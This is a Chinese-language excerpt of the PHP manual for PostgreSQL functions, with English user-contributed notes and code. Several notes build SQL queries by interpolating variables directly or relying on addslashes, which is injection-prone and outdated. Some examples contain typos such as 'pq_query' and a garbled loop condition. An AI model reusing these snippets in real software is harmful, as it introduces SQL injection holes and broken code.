除了速度之外，本函数和 pg_fetch_array() 完全一样，而且几乎和 pg_fetch_row() 一样快（速度上的差别很小）。

注: 从 4.1.0 版本开始，参数 row 变为可选参数。

从 4.3.0 开始，result_type 默认值为 PGSQL_ASSOC，而旧版本的默认值是 PGSQL_BOTH。数字属性在这里没有用处，因为在 PHP 中对象的属性不能是数字。

result_type 参数在以后的版本中可能会删除。

例子 1. pg_fetch_object()

<?php

$database = "store";

$db_conn = pg_connect("host=localhost port=5432 dbname=$database");
if (!$db_conn) {
    echo "Failed connecting to postgres database $database\n";
    exit;
}

$qu = pg_query($db_conn, "SELECT * FROM books ORDER BY author");

$row = 0; // postgres needs a row counter

while ($data = pg_fetch_object($qu, $row)) {
    echo $data->author . " (";
    echo $data->year . "): ";
    echo $data->title . "<br />";
    $row++;
}

pg_free_result ($qu);
pg_close ($db_conn);

?>

注: 从 4.1.0 开始，row 成为可选参数。每次调用 pg_fetch_object()，内部的行计数器都会加一。

参见 pg_query()，pg_fetch_array()，pg_fetch_row() 和 pg_fetch_result()。

add a note add a note User Contributed Notes
robeddielee at hotmail dot com
28-Jan-2006 03:38
I noticed that many people use FOR loops to extract query data. This is the method I use to extract data.

<?php
 @$members = pg_query($db_conn, 'SELECT id,name FROM boards.members ORDER BY name;');
 if ($members AND pg_num_rows($members)) {
  while ($member = pg_fetch_object($members)) {
   echo $member->name.' ('.$member->id.')';
  }
 }
?>

If an error occurs (or nothing is returned) in the above code nothing will output. An ELSE clause can be added to the IF to handle query errors (or nothing being returned). Or a seperate check can be performed for the event that nothing is returned by using an ELSEIF clause.

I like this method because it doesn't use any temporary counter variables.
oracle dot shinoda at gmail dot com
16-Nov-2004 10:13
If you're wanting to use objects for your results, but are put off because you can't seem to apply a function to each field of the result (like stripslashes for example), try this code:

<?php
// Code to connect, do query etc etc...

$row = pg_fetch_object($result);
$vars = get_object_vars($row);
foreach ( $vars as $key => $var )
{
   $row->{$key} = stripslashes($var);
}

?>
michiel at minas-2 dot demon dot nl
16-Jun-2004 11:13
Something I have learned to use:

$result=$pg_query (...);
$num = pg_numrows($result);

for($count=0;$count < $num && $data=pg_fetch_object($result,$count);$count++)
{
   printf("<tr>\n");
   printf("    <td>%s</td>\n",$data->foo);
   printf("    <td>%s</td>\n",$data->bar);
   printf("</tr>\n");
}
Lars at dybdahl dot dk
14-Oct-2003 11:43
When you retrieve the contents of a "timestamp with timezone" field, this will set the environment's timezone variables. Therefore, this is dangerous:

$s=$row->mydatefield;
$unixtimestamp=postgresqltimestamp2unix($s);
echo date("Y-m-d H:i:s",$unixtimestamp);

Here, postgresqltimestamp2unix is a function that converts the postgresql timestamp to Unix. The retrieval of the field data in the first line of the example above will influence the timezone used in date() in the third line.
ian at eiloart dot com
10-Feb-2003 11:27
This isn't all that useful. If you do, for example, foreach($row as $field) then you still get every value twice!

You can do something like this, though:

foreach ($line as $key => $cell){
     if (! is_numeric($key)){
               echo "<td>$key $cell</td>";
     }
}

is is_numeric strict enough?
inbox at bucksvsbytes dot com
17-Mar-2002 01:13
The result_type arg is either invalid or incorrectly documented, since the "result_type is optional..." paragraph is copied verbatim from pg_fetch_array, and the PGSQL_NUM option is in conflict with the preceding paragraph's, "you can only access the data by the field names, and not by their
offsets."
jzago at ifhamy dot insa-lyon dot fr
11-Sep-2000 06:09
I use a loop like this:

for ($row = 0; $data = @pg_fetch_object ($res, $row); $row++) {
   // do what you want with the row
}
add a note add a note

后退 | 起点 | 前进
pg_fetch_assoc | 上一级 | pg_fetch_result


pg_fetch_result

(PHP 4 >= 4.2.0, PHP 5)

pg_fetch_result -- 从结果资源中返回值

说明

mixed pg_fetch_result ( resource result, int row, mixed field )

pg_fetch_result() 根据由 pg_query() 返回的 result 资源返回相应的值。row 为整型数。field 为字段名（字符串）或字段索引（整数）。row 和 field 指明了查询结果中的哪个单元被返回。行编号从 0 开始。除了用字段名之外，还可以用不带引号的数字作为字段索引。字段索引从 0 开始。

PostgreSQL 有很多内置的类型，这里只直接支持基本类型。所有形式的 integer，boolean 和 void 类型都被返回为 integer 值。所有形式的 float 和 real 类型都被返回为 float 值。Boolean 类型被返回为 "t" 或者 "f"。所有其它类型包括数组都被返回为字符串，该字符串的格式和默认的 PostgreSQL 风格一样，可以在 psql 程序中看到。

add a note add a note User Contributed Notes
Akbar
02-Dec-2004 12:01
Use can use pg_fetch_result when getting a value (like a smallint as in this example) returned by your stored procedure

<?php
$pgConnection = pg_connect("dbname=users user=me");

$userNameToCheckFor = "metal";

$result = pg_query($pgConnection, "SELECT howManyUsersHaveThisName('$userNameToCheckFor')");

$count = pg_fetch_result($result, 0, 'howManyUsersHaveThisName');

?>
newby_AT_nobletec_DOT_com
04-Sep-2002 11:12
Comment on boolean fields:

If you retrieve a boolean value from the PostgreSQL database, be aware that the value returned will be either the character 't' or the character 'f', not an integer.  So, the statement

     if (pg_fetch_result($rsRecords,0,'blnTrueFalseField')) {
       echo "TRUE";
     } else {
       echo "FALSE";
     }

will echo "TRUE" in either case (True or False stored in the field).  In order to work as expected, do this instead:

     if (pg_fetch_result($rsRecords,0,'blnTrueFalseField') == 't') {
       echo "TRUE";
     } else {
       echo "FALSE";
     }
add a note add a note

后退 | 起点 | 前进
pg_fetch_object | 上一级 | pg_fetch_row


pg_fetch_row

(PHP 3 >= 3.0.1, PHP 4, PHP 5)

pg_fetch_row -- 提取一行作为枚举数组

说明

array pg_fetch_row ( resource result, int row )

pg_fetch_row() 根据指定的 result 资源提取一行数据（记录）作为数组返回。每个得到的列依次存放在数组中，从偏移量 0 开始。

返回的数组和提取的行相一致。如果没有更多行可提取，则返回 FALSE。

例子 1. pg_fetch_row() 例子

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
    echo "An error occured.\n";
    exit;
}

$result = pg_query($conn, "SELECT * FROM authors");
if (!$result) {
    echo "An error occured.\n";
    exit;
}

while ($row = pg_fetch_row($result, $i)) {
  for ($j=0; $j < count($row); $j++) {
    echo $row[$j] . "&nbsp;";
  }

  echo "<br />\n";

}
?>

注: 从 4.1.0 开始，row 成为可选参数。每次调用 pg_fetch_row()，内部的行计数器都会加一。

参见 pg_query()，pg_fetch_array()，pg_fetch_object() 和 pg_fetch_result()。

add a note add a note User Contributed Notes
pletiplot at seznam dot cz
07-Jun-2006 06:18
Note, that when you retrieve some PG boolean value, you get 't' or 'f' characters which are not compatible with PHP bool.
post at zeller-johannes dot de
27-Apr-2005 05:51
I wondered whether array values of PostgreSQL are converted to PHP arrays by this functions. This is not the case, they are stored in the returned array as a string in the form "{value1 delimiter value2 delimiter value3}" (See http://www.postgresql.org/docs/8.0/interactive/arrays.html#AEN5389).
maxnamara at yahoo dot com
14-Oct-2004 03:03
Get downlines, put them into arrays.

function get_downlines($my_code){
   global $link;

   $sql = "select user_id, name from tb_user where parentcode = $my_code";
   $res = pg_query($link,$sql);
   if(!$res){
       echo "Error: ".$sql;exit();
   }
   $num_fields = pg_num_fields($res);
   $info_rows = 0;

   $num_rows = pg_num_rows($res);
   while($arr = pg_fetch_row($res)){

           $info_offset  = 1;
         $info_columns  = 0;

       while ($info_offset <= $num_fields) {
                 $info_elements[$info_rows][$info_columns] = $arr[$info_columns];
                 $info_offset++; $info_columns++;
       }
       $info_rows++;
   }
return $info_elements;
}
Matthew Wheeler
23-May-2003 12:29
Note that the internal row counter is incremented BEFORE the row is retrieved. This causes an off by one error if you try to do:

pg_result_seek($resid,0);
pg_fetch_row($resid);

you will get back the SECOND result not the FIRST.
imantr at cbn dot net dot id
24-Jul-2002 11:38
I use the following code to assigning query result to an array.

while ($row = pg_fetch_row($result)) $newArray[] = $row[0];

print_r($newArray);
darw75 at swbell dot net
23-Aug-2001 08:39
a way to do this with 2 loops to insert data into a table...

$num = pg_numrows($result);
$col_num = pg_numfields($result);

for ($i=0; $i<$num; $i++) {
  $line  = pg_fetch_array($result, $i, PGSQL_ASSOC);
  print "\t<tr bgcolor=#dddddd>\n";
   for ($j=0; $j<$col_num; $j++){
   list($col_name, $col_value) =each($line);
   print "\t\t<TD ALIGN=RIGHT><FONT SIZE=1 FACE='Geneva'>$col_value</FONT></TD>\n";
   }
  echo "<br>";
  }
rtreat2 at tampabay dot rr dot com
24-Oct-2000 08:41
the mysql way....

$rows = pg_numrows($result);
for ($i=0; $i < $rows; $i++){
   list($foo,$bar) = pg_fetch_row($result,$i);

   print ("$foo , $bar)\n");
}
add a note add a note

后退 | 起点 | 前进
pg_fetch_result | 上一级 | pg_field_is_null


pg_field_is_null

(PHP 4 >= 4.2.0, PHP 5)

pg_field_is_null -- 测试字段是否为 NULL

说明

int pg_field_is_null ( resource result, int row, mixed field )

pg_field_is_null() 测试字段是否为 NULL。如果字段在给出的行中为 NULL 则返回 1，如果字段在给出的行中不是 NULL 则返回 0。字段可以以列的索引号（数字）方式给出，也可以以字段名（字符串）方式给出。行的编号从 0 开始。

例子 1. pg_field_is_null() 例子

<?php
    $dbconn = pg_connect("dbname=publisher") or die ("Could not connect");
    $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
    if ($res) {
        if (pg_field_is_null($res, 0, "year") == 1) {
            echo "The value of the field year is null.\n";
        }
        if (pg_field_is_null($res, 0, "year") == 0) {
            echo "The value of the field year is not null.\n";
      }
   }
?>

注: 本函数以前的名字为 pg_fieldisnull()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_fetch_row | 上一级 | pg_field_name


pg_field_name

(PHP 4 >= 4.2.0, PHP 5)

pg_field_name -- 返回字段的名字

说明

string pg_field_name ( resource result, int field_number )

pg_field_name() 返回给定 PostgreSQL result 资源中的 field_number 所代表的字段名。字段编号从 0 开始。

例子 1. 获取字段信息

<?php
    $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
    $res = pg_query($dbconn, "select * from authors where author = 'Orwell'");
    $i = pg_num_fields($res);
    for ($j = 0; $j < $i; $j++) {
        echo "column $j\n";
        $fieldname = pg_field_name($res, $j);
        echo "fieldname: $fieldname\n";
        echo "printed length: ".pg_field_prtlen($res, $fieldname)." characters\n";
        echo "storage length: ".pg_field_size($res, $j)." bytes\n";
        echo "field type: ".pg_field_type($res, $j)." \n\n";
}
?>

上例的输出如下：

column 0
fieldname: author
printed length: 6 characters
storage length: -1 bytes
field type: varchar

column 1
fieldname: year
printed length: 4 characters
storage length: 2 bytes
field type: int2

column 2
fieldname: title
printed length: 24 characters
storage length: -1 bytes
field type: varchar

注: 本函数以前的名字为 pg_fieldname()。

参见 pg_field_num()。

add a note add a note User Contributed Notes
13-Aug-2004 01:01
In fact you can extract the size of the varchar field, by simply sending the following query:
"select a.atttypmod,a.attrelid from pg_attribute as a, pg_class as c where c.relname='$table' AND a.attrelid=c.oid AND a.attname='$field'"

here is a simple function that does that:

function get_field_size($table, $field, $link) {

       $result = pg_query($link, "select a.atttypmod,a.attrelid from pg_attribute as a, pg_class as c where c.relname='$table' AND a.attrelid=c.oid AND a.attname='$field'");

       $data = pg_fetch_object($result);

       return ($data->atttypmod - 4);

}

returned value is a size of a given field (also varchar)
ccasal at compuserve dot com
13-Jan-2001 03:51
The pg_fieldname function only returns the unqualified name from the select statement. example:

select c.name, con.name from customer c, contacts con where con.customer_id = c.id;

pg_fieldname will return "name" for both fields instead of c.name and con.name.

This is a PostgreSQL limitation, not a PHP limitation.

if you need different field names you should use :

select c.name as customer_name, con.name as contact_name from customer c, contacts con where con.customer_id = c.id;

then pg_fieldname will return "customer_name" and "contact_name"
add a note add a note

后退 | 起点 | 前进
pg_field_is_null | 上一级 | pg_field_num


pg_field_num

(PHP 4 >= 4.2.0, PHP 5)

pg_field_num -- 返回字段的编号

说明

int pg_field_num ( resource result, string field_name )

pg_field_num() 返回给定 PostgreSQL result 资源中的 field_name 所代表的列（字段）的编号。字段编号从 0 开始。如果出错本函数返回 -1。

例子参见 pg_field_name() 页。

注: 本函数以前的名字为 pg_fieldnum()。

参见 pg_field_name()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_field_name | 上一级 | pg_field_prtlen


pg_field_prtlen

(PHP 4 >= 4.2.0, PHP 5)

pg_field_prtlen -- 返回打印出来的长度

说明

int pg_field_prtlen ( resource result, int row_number, string field_name )

pg_field_prtlen() 返回 PostgreSQL result 中得到的值实际上打印出来的长度（字符数）。行编号从 0 开始。如果出错本函数返回 -1。

例子参见 pg_field_name() 页。

注: 本函数以前的名字为 pg_field_prtlen()。

参见 pg_field_size()。

add a note add a note User Contributed Notes
r dot galovic at r-3 dot at
19-Apr-2005 04:54
mysql_field_len () function and more for postgres ...

problems ...
* pg_field_prtlen ... gives the actual size of the field back (it shows the count of the content allready inside the field - not the possible max-len)
* pg_filed_size ... can't be used for varchar or bpchar fields

...but there is a way to get the real-max-length of a field in postgreSQL via the system tables:

//returns an array with infos of every field in the table (name, type, length, size)
function SQLConstructFieldsInfo($TABLE, $DBCON)
{
   $s="SELECT a.attname AS name, t.typname AS type, a.attlen AS size, a.atttypmod AS len, a.attstorage AS i
   FROM pg_attribute a , pg_class c, pg_type t
   WHERE c.relname = '$TABLE'
   AND a.attrelid = c.oid AND a.atttypid = t.oid";

   if ($r = pg_query($DBCON,$s))
   {
       $i=0;
       while ($q = pg_fetch_assoc($r))
       {
               $a[$i]["type"]=$q["type"];
               $a[$i]["name"]=$q["name"];
               if($q["len"]<0 && $q["i"]!="x")
               {
                   // in case of digits if needed ... (+1 for negative values)
                   $a[$i]["len"]=(strlen(pow(2,($q["size"]*8)))+1);
               }
               else
               {
                   $a[$i]["len"]=$q["len"];
               }
               $a[$i]["size"]=$q["size"];
           $i++;
       }
       return $a;
   }
   return null;
}

// usage
$DBCON=pg_connect("host=YOUR-HOST port=YOUR-PORT dbname=YOUR-DB user=YOUR-USER password=YOUR-PASS");
$TABLE="YOUR-TABLENAME";
$RET=SQLConstructFieldsInfo($TABLE, $DBCON);

$j = count($RET);
for ($i=0; $i < $j; $i++)
{
   echo "<br>$i name=".$RET[$i]["name"]." type=".$RET[$i]["type"]." length=".$RET[$i]["len"]." size=".$RET[$i]["size"]." bytes";
}
add a note add a note

后退 | 起点 | 前进
pg_field_num | 上一级 | pg_field_size


pg_field_size

(PHP 4 >= 4.2.0, PHP 5)

pg_field_size -- 返回指定字段占用内部存储空间的大小

说明

int pg_field_size ( resource result, int field_number )

pg_field_size() 返回 PostgreSQL result 中指定字段占用内部存储空间的大小（字节数）。字段编号从 0 开始。字段大小为 -1 表示可变长度字段。如果出错本函数返回 FALSE。

参考 pg_field_name() 页面中的例子。

注: 本函数以前的名字为 pg_fieldsize()。

参见 pg_field_prtlen() 和 pg_field_type()。

add a note add a note User Contributed Notes
ij at NOSPAM dot irj dot co dot za
14-Jun-2005 07:21
To view the file structure of a table using a sql query

select pg_class.relname, pg_attribute.attname, pg_type.typname, pg_type.typlen from pg_class, pg_attribute, pg_type  where pg_class.relname = 'YOURTABLENAME' and pg_class.oid = pg_attribute.attrelid and pg_type.oid = pg_attribute.atttypid having attnum > 0
php at tribun dot de
23-Feb-2005 09:49
function get_create_syntax( $table )
{
  $qry  =  "
           SELECT    *
           FROM      $table
           LIMIT    1
         ";
  $res = pg_query( $qry );
  $row = pg_fetch_assoc( $res );

  $create = "CREATE TABLE $table \n(\n";

  $item = array();
  for( $i = 0; $i < count( $row ); $i++ )
  {
   $name = pg_field_name( $res, $i );
   $type = pg_field_type( $res, $i );
   $size = pg_field_size( $res, $i );

   $item[$i] = '"'.$name.'" '.$type;

   $qry  =  "
             SELECT    a.atttypmod    AS size,
                       a.attnotnull  AS notnull
             FROM      pg_attribute  AS a,
                       pg_class      AS c
             WHERE    c.relname  = '$table'
             AND      a.attrelid  =  c.oid
             AND      a.attname    =  '$name'
             ";
   $res2  = pg_query( $qry );
   $out  = pg_fetch_object( $res2 );

   if( $out -> size != -1 )
   {
     $item[$i] .= '('.( $out -> size - 4 ).')';
   }
   if( $out -> notnull == 't' )
   $item[$i] .= ' NOT';

   $item[$i] .= ' NULL';

  }
  $create .= implode( ",\n", $item ) ."\n);";

  return $create;
}
alex at linuxNOSPAM dot org dot pe
03-Jul-2002 12:44
How i can extract the struct of a Postgresql Table?

I want to do a dynamic php code, that see the pg table, and print name, type and size of fields
add a note add a note

后退 | 起点 | 前进
pg_field_prtlen | 上一级 | pg_field_type_oid


pg_field_type_oid

(PHP 5 >= 5.1.0RC1)

pg_field_type_oid -- Returns the type ID (OID) for the corresponding field number

说明

int pg_field_type_oid ( resource result, int field_number )

pg_field_type_oid() returns an integer containing the OID of the base type of the given field_number in the given PostgreSQL result resource.

You can get more information about the field type by querying PostgreSQL's pg_type system table using the OID obtained with this function. The PostgreSQL format_type() function will convert a type OID into an SQL standard type name.

注: If the field uses a PostgreSQL domain (rather than a basic type), it is the OID of the domain's underlying type that is returned, rather than the OID of the domain itself.

参数

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

field_number

Field number, starting from 0.

返回值

The OID of the field's base type. FALSE is returned on error.

范例

例子 1. Getting information about fields

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Assume 'title' is a varchar type
  $res = pg_query($dbconn, "select title from authors where author = 'Orwell'");

  echo "Title field type OID: ", pg_field_type_oid($res, 0);
?>

上例将输出：

Title field type OID: 1043

参见

pg_field_type()
pg_field_prtlen()
pg_field_name()

add a note add a note User Contributed Notes
mauroi at digbang dot com
24-Mar-2005 11:55
This function can be used to improve the performance of your application.
pg_field_type() makes an internal query to the pg_type table and it can be really slow.
So if your application previously know the oids of your database, you can save the execution time of this query in every request.
add a note add a note

后退 | 起点 | 前进
pg_field_size | 上一级 | pg_field_type


pg_field_type

(PHP 4 >= 4.2.0, PHP 5)

pg_field_type -- 返回相应字段的类型名称

说明

string pg_field_type ( resource result, int field_number )

pg_field_type() 以字符串返回 PostgreSQL result 资源中指定 field_number 字段的类型。字段编号从 0 开始。

参考 pg_field_name() 页面中的例子。

注: 本函数以前的名字为 pg_fieldtype()。

参见 pg_field_prtlen() 和 pg_field_name()。

add a note add a note User Contributed Notes
marxarelli
03-Jan-2006 06:34
Because complete documentation is always helpful, here are all the PostgreSQL general purpose types as they are listed in the 8.1 documentation, and each corresponding string returned by pg_field_type().

bigint => int8
bigserial => int8
bit => bit
bit varying => varbit
boolean => bool
box => box
bytea => bytea
character varying => varchar
character => bpchar
cidr => cidr
circle => circle
date => date
double precision => float8
inet => inet
integer => int4
interval => interval
line => line
lseg => lseg
macaddr => macaddr
money => money
numeric => numeric
path => path
point => point
polygon => polygon
real => float4
smallint => int2
serial => int4
text => text
time => time
time with time zone => timetz
timestamp => timestamp
timestamp with time zone => timestamptz

And for the record... (note the 7.4 client lib)
# postmaster --version
postmaster (PostgreSQL) 8.0.4

# ldd libphp4.so
...
libpq.so.3 => /usr/lib/libpq.so.3 (0xb7ac8000)
...
andy at a 2 h d dot com
04-May-2003 03:09
The types returned are:
  bool
  int2 (smallint)
  int4
  int8 (bigint)
  numeric
  float4 (real / float)
  float8 (double)
  timestamp
  date
  time
  varchar
  bpchar (fixed leng string, 'blank padded char')
  inet (ip address)
  money

There are some other more esoteric types, e.g. 'circle', but these are the most common.
add a note add a note

后退 | 起点 | 前进
pg_field_type_oid | 上一级 | pg_free_result


pg_free_result

(PHP 4 >= 4.2.0, PHP 5)

pg_free_result -- 释放查询结果占用的内存

说明

bool pg_free_result ( resource result )

pg_free_result() 仅在当你担心脚本执行时占用了过多内存时调用。脚本执行完毕后所有的查询结果占用的内存都会被自动释放。不过如果你确认在脚本中不会再用到查询结果了，你可以用 result 作为参数调用 pg_free_result() 来释放有关的内存。如果成功则返回 TRUE，失败则返回 FALSE。

注: 本函数以前的名字为 pg_freeresult()。

参见 pg_query()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_field_type | 上一级 | pg_get_notify


pg_get_notify

(PHP 4 >= 4.3.0, PHP 5)

pg_get_notify -- Ping 数据库连接

说明

array pg_get_notify ( resource connection [, int result_type] )

pg_get_notify() 取得 SQL 命令 NOTIFY 发送的通告消息。要接收通告消息，必须发送 SQL 命令 LISTEN。如果连接中有通告消息，则数组包含消息名并且返回后端的 PID。如果没有消息则返回 FALSE。

参见 pg_get_pid()。

例子 1. PostgreSQL NOTIFY 消息

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
    echo "An error occured.\n";
    exit;
}

// Listen 'author_updated' message from other processes
pq_query($conn, 'LISTEN author_updated;');
$notify = pg_get_notify($conn);
if (!$notify)
    print("No messages\n");
else
    print_r($notify);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_free_result | 上一级 | pg_get_pid


pg_get_pid

(PHP 4 >= 4.3.0, PHP 5)

pg_get_pid -- Ping 数据库连接

说明

int pg_get_pid ( resource connection )

pg_get_pid() 取得后端（数据库服务器进程）的 PID。PID 用来检查其它进程是否发送了 NOTIFY 消息。

例子 1. PostgreSQL 后端 PID

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
    echo "An error occured.\n";
    exit;
}

// Backend process PID. Use PID with pg_get_notify()
$pid = pg_get_pid($conn);
?>

参见 pg_get_notify()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_get_notify | 上一级 | pg_get_result


pg_get_result

(PHP 4 >= 4.2.0, PHP 5)

pg_get_result -- 取得异步查询结果

说明

resource pg_get_result ( [resource connection] )

pg_get_result() 取得执行 pg_send_query() 而得到的查询结果资源。pg_send_query() 可以向 PostgreSQL 发送多个查询， pg_get_result() 则用来逐个得到查询结果。返回值为查询结果资源号。如果没有更多查询结果，则返回 FALSE。

add a note add a note User Contributed Notes
william at 25thandClement dot com
28-Jan-2005 07:03
There is no way to poll/wait for a notification to come in. You either have to enter a busy loop or sleep. Both options are horrible. It would be nice for PHP to provide access to PQsocket so one could select() on the socket connection. This is how it's done from C or Perl.
add a note add a note

后退 | 起点 | 前进
pg_get_pid | 上一级 | pg_host


pg_host

(PHP 3, PHP 4, PHP 5)

pg_host -- 返回和某连接关联的主机名

说明

string pg_host ( resource connection )

pg_host() 返回指定的 PostgreSQL connection 资源号所连接到的主机名称。

参见 pg_connect() 和 pg_pconnect()。

add a note add a note User Contributed Notes
mark at redbrick dot dcu dot ie
24-Mar-2003 10:21
This is a simple example of this function, which returns the name of which PostreSQL Database you are currently connected to.

<?php
   $pgsql_conn = pg_connect("dbname=mark host=localhost");

   if ($pgsql_conn) {
       print "Successfully connected to: " . pg_host($pgsql_conn) . "<br/>\n";
   } else {
       print pg_last_error($pgsql_conn);
       exit;
   }
?>

This function is extremely useful for sites which connect to multiple Postgresql services.

Regards,  --mark
add a note add a note

后退 | 起点 | 前进
pg_get_result | 上一级 | pg_insert


pg_insert

(PHP 4 >= 4.3.0, PHP 5)

pg_insert -- 将数组插入到表中

说明

bool pg_insert ( resource connection, string table_name, array assoc_array [, int options] )

pg_insert() 将 assoc_array 数组中的值插入到由 table_name 指定的表中。table_name 中的列必须至少要有 assoc_array 中的单元那么多。table_name 中的字段名以及字段值必须和 assoc_array 中的键名及值匹配。如果成功则返回 TRUE，失败则返回 FALSE。如果给出了参数 options ，则函数 pg_convert() 会按照给定选项被作用到 assoc_array 上。

例子 1. pg_insert() 例子

<?php
    $db = pg_connect ('dbname=foo');
    // This is safe, since $_POST is converted automatically
    $res = pg_insert($db, 'post_log', $_POST);
    if ($res) {
        echo "POST data is succesfully logged\n";
    }
    else {
        echo "User must have sent wrong inputs\n";
    }
?>

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参见 pg_convert()。

add a note add a note User Contributed Notes
ANDYCHR17 at HOTMAIL dot COM
06-May-2006 05:50
Had a few issues while trying to run this in PHP 4.4.0:

- I could not get it to work with column names that are SQL reserved words (example: desc, order). I was forced to change the column names in order to use the function. I could not put the column names in quotes, because that caused pg_convert() to fail.

- Function was returning false until I passed the PGSQL_DML_EXEC option.
skippy at zuavra dot net
14-Feb-2005 11:08
Beware of the following: pg_insert() and pg_update() are adding slashes to all character-like fields they work with. This makes them SQL injection super-safe, but there are unwanted consequences, as follows:

If you have a regular setup with magic_quotes_gcp=On, and you use pg_insert() or pg_update(), you will end up with fields that look as if you used addslashes() twice. To solve this, you can use stripslashes() on the data just before using it with pg_insert() or pg_update().

There's another alternative, which seems better to me. Why make yourself crazy all over the code, adding slashes, stripping slashes, worrying whether magic_quotes_gpc is on or off and so on and so forth? Why do this, when the only place you actually need those slashes is right when you push the data into the database?

So why not get rid of your addslashes() and stripslashes() from all over your code, and turn magic_quotes_gcp off. As long as you always use pg_insert() and pg_update() to do your DB work, you're SQL-injection safe AND slash-headache free.
mina86 at tlen dot pl
24-May-2004 09:24
Next version :) My version checks whether value is bool, null, string or numeric and if one of the values is not function returns false if not. null values are inserted as NULL, bool as true or false and strings are add-shlashed before adding to query string. Note, that this function is not safe. SQL injection is possible with column names if you use $_POST or something similar as a $array.

<?php
function db_build_insert($table, $array) {
  if (count($array)===0) return false;
  $columns = array_keys($array);
  $values = array_values($array);
  unset($array);

  for ($i = 0, $c = count($values); $i$c; ++$i) {
   if (is_bool($values[$i])) {
     $values[$i] = $values[$i]?'true':'false';
   } elseif (is_null($values[$i])) {
     $values[$i] = 'NULL';
   } elseif (is_string($values[$i])) {
     $values[$i] = "'" . addslashes($values[$i]) . "'";
   } elseif (!is_numeric($values[$i])) {
     return false;
   }
  }

  return "INSERT INTO $table ($column_quote" . implode(', ', $columns) .
   ") VALUES (" . implode(', ', $values) . ")";
}
?>
shane at treesandthings dot com
22-Jan-2004 12:04
Returns SQL statement, slight improvement on the code from 'rorezende at hotmail dot com'.  This version adds bool values correctly.It also checks to make sure there is actually a value in the array before including it in the sql statement. (ie: null values or empty strings won't be added to the sql statement)

<?PHP
function db_build_insert($table,$array)
{

   $str = "insert into $table ";
   $strn = "(";
   $strv = " VALUES (";
   while(list($name,$value) = each($array)) {

       if(is_bool($value)) {
               $strn .= "$name,";
               $strv .= ($value ? "true":"false") . ",";
               continue;
       };

       if(is_string($value)) {
               $strn .= "$name,";
               $strv .= "'$value',";
               continue;
       }
       if (!is_null($value) and ($value != "")) {
               $strn .= "$name,";
               $strv .= "$value,";
               continue;
       }
   }
   $strn[strlen($strn)-1] = ')';
   $strv[strlen($strv)-1] = ')';
   $str .= $strn . $strv;
   return $str;

}
?>
rorezende at hotmail dot com
17-Jul-2003 02:49
Time is money, then I write a function similar to pg_insert in PHP (only output sql statement) :

   function db_mount_insert($table,$array) {

   $str = "insert into $table (";
   while(list($name,$value) = each($array)) {
       $str .= "$name,";
   }
   $str[strlen($str)-1] = ')';
   $str .= " values (";
   reset($array);
   while(list($name,$value) = each($array)) {
       if(is_string($value))
           $str .= "'$value',";
       else
           $str .= "$value,";
   }
   $str[strlen($str)-1] = ')';
   $str .= ";"    ;

   return $str;

   }
add a note add a note

后退 | 起点 | 前进
pg_host | 上一级 | pg_last_error


pg_last_error

(PHP 4 >= 4.2.0, PHP 5)

pg_last_error -- 得到某连接的最后一条错误信息

说明

string pg_last_error ( [resource connection] )

pg_last_error() 返回指定连接 connection 的最后一条错误信息。

错误信息可能会被 PostgreSQL(libpq) 的内部函数调用所覆盖。如果 PostgreSQL 的内部模块函数产生了多个错误，则可能不能返回适当的错误信息。

使用 pg_result_error()，pg_result_status() 和 pg_connection_status() 来取得更好的错误处理。

注: 本函数以前的名字为 pg_errormessage()。

参见 pg_result_error()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_insert | 上一级 | pg_last_notice


pg_last_notice

(PHP 4 >= 4.0.6, PHP 5)

pg_last_notice -- 返回 PostgreSQL 服务器最新一条公告信息

说明

string pg_last_notice ( resource connection )

pg_last_notice() 返回由 connection 指定的 PostgreSQL 服务器最新的一条公告信息。PostgreSQL 服务器在某些情况下会发送公告信息，例如如果不能继续进行某事务时。有了 pg_last_notice()，只要检查公告是否和该事务有关，就可以避免提交无用的查询。

警告

本函数为试验性质，并且还没有完全实现。pg_last_notice() 是 PHP 4.0.6 新增的，但是 PHP 4.0.6 本身在公告信息处理上有问题。即使不使用 pg_last_notice() 函数，也不推荐在 PHP 4.0.6 中使用 PostgreSQL 模块。

本函数在 PHP 4.3.0 中完全实现。低于 PHP 4.3.0 的版本中都忽略了数据库连接参数。

在 PHP 4.3.0 中可以通过在 php.ini 中把 pgsql.ignore_notice 置为 1 来使公告信息追踪成为可选项。

在 PHP 4.3.0 中可以通过在 php.ini 中把 pgsql.log_notice 置为 0 来使公告信息日志成为可选项。除非 pgsql.ignore_notice 为 0，否则公告信息不能被日志记录。

参见 pg_query() 和 pg_last_error()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_last_error | 上一级 | pg_last_oid


pg_last_oid

(PHP 4 >= 4.2.0, PHP 5)

pg_last_oid -- 返回上一个对象的 oid

说明

int pg_last_oid ( resource result )

pg_last_oid() 在上一条通过 pg_query() 发送的命令是 SQL INSERT 的情况下用来取得分配给所插入记录的 oid。如果存在有效的 oid 则返回一个正整数，如果出错或者上一条通过 pg_query() 发送的命令不是 INSERT 或者该 INSERT 失败则返回 FALSE。

从 PostgreSQL 7.2 版开始 OID 字段成为可选项。如果一个表中没有定义 OID 字段，程序员必须用 pg_result_status() 函数来检查记录是否被成功插入。

注: 本函数以前的名字为 pg_getlastoid()。

参见 pg_query() 和 pg_result_status()。

add a note add a note User Contributed Notes
kevin at stormtide dot ca
07-Jun-2006 06:10
I am afraid that the editor is misleading people here.

